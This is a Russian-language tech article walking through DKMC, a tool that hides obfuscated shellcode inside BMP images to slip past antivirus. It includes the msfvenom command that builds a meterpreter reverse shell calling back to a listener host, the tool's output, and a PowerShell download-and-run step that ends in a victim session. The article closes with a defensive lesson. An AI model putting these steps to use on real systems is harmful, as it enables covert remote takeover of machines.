Кот или шеллКод?

cff6b18668d946f7be6d93b2aea4e3ad.jpg

Может ли обычная картинка нести угрозу и стоит ли обращать внимание на факт загрузки изображений при разборе инцидентов информационной безопасности? На этот и другие вопросы мы ответим в данном тексте на примере работы инструмента DKMC (Don’t Kill My Cat).

В чем суть?


Посмотрите на изображение ниже

acbdfef557a8494f90f99e0e359cb8ef.PNG

Видите ли вы в нем что-то странное?

Я не вижу ничего необычного. Данное изображение загружено на сайт в формате jpeg, но его оригинал хранится в формате bmp. Если посмотреть на исходный bmp-файл в HEX-редакторе, то никаких бросающихся в глаза странностей мы тоже не увидим.

bae80984cc6442299c93c561755d5856.PNG

Однако это изображение содержит обфусцированный шеллкод по адресу 0×00200A04. В то же время мы не видим никаких странных пикселей на изображении. Дело в том, что в BMP заголовке высота изображения была искусственно уменьшена. В полном размере изображение выглядело бы так. Обратите внимание на правый верхний угол.

95588e2007f24124a2717079cb1c2036.PNG

Высота оригинального изображения на 5 пикселей больше, чем вредоносного, но для человека это обычно не заметно.

Инъекция возможна из-за того, что байты, указывающие на тип файла, с которых и начинается файл, BM в ASCII, в шестнадцатеричном виде — 42 4D, при конвертации в инструкции ассемблера не приводят к ошибке выполнения, а дальнейшие 8 байт заголовка никак не влияют на интерпретацию изображения. Так что, можно заполнить эти 8 байт любыми инструкциями ассемблера, например записать в них jmp-инструкцию, которая укажет на шелл-код, хранимый в изображении, т.е. на 0×00200A04.

Далее нужно лишь как-то выполнить код, хранимый в изображении, вместо его просмотра в графическом виде.

Для этого может использоваться, например, набор PowerShell команд.

Все описанные мной действия уже автоматизированы и собраны воедино в инструменте DKMC, который мы рассмотрим ниже.

Это правда работает?


Инструмент доступен на GitHub и не требует установки. Там же, в репозитории, есть презентация, подробно описывающая принцип работы DKMC.

Запуск

python dkmc.py


Нам доступно несколько действий

c93ff9c571a641388d5634edbe0a300b.PNG

Для начала нужно создать шеллкод. Для этого можно воспользоваться msfvenom

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=4444 -f raw > mycode


Будет сгенерирован бек-коннект шелл на хост 192.168.1.3, порт 4444, в бинарном виде.

Далее используется опция меню sc, чтобы преобразовать код в HEX формат для его использования вдальнейшем

3c051864f3af4efea250d38fa42b9a68.PNG

Далее выбирается изображение в формате BMP для инъекции шеллкода при помощи команды gen

b3d28cb25d02459cb089a8a94d7a598f.PNG

и получаем вывод

(generate)>>> run
	[+] Image size is 1000 x 700
	[+] Generating obfuscation key 0x14ae6c1d
	[+] Shellcode size 0x14d (333) bytes
	[+] Adding 3 bytes of padding
	[+] Generating magic bytes 0x4d9d392d
	[+] Final shellcode length is 0x19f (415) bytes
	[+] New BMP header set to 0x424de9040a2000
	[+] New height is 0xb7020000 (695)
	[+] Successfully save the image. (/root/av_bypass/DKMC/output/prettycat.bmp)


Здесь сказано, что шелл-код был обфусцирован, указаны его итоговый размер, видоизмененный BMP заголовок с jump инструкцией и сказано, что высота сократилась с 700 пикселей до 695.

Далее при помощи команды ps можно сгенерировать powershell команду для загрузки данного изображения с веб-сервера и последующего его выполнения

4c56aa3885344d79b2e7e2f24f81bce0.PNG

и при помощи команды web можно тут же запустить веб-сервер для предоставления этого изображения

7aced37d5ea24d1cb8267adfe14c99e7.PNG

Я запущу сниффер Wireshark и посмотрю, что происходит в сети при запуске Powershell скрипта на стороне жертвы

1ac323821dde475e860516eb241fc7fe.PNG

Жертва инициирует обыкновенный HTTP запрос и получает картинку, а мы сессию метерпретера

a1acd6e068964b1cb99054a7bb416418.PNG

Так как изображение нельзя запустить «нормальными» способами, то и средства защиты и технические специалисты могут «легкомысленно» относиться к его содержимому. Данный пример призывает внимательно относиться к настройке систем предотвращения вторжений, следить за новостями в мире информационной безопасности и быть на чеку.

© Habrahabr.ru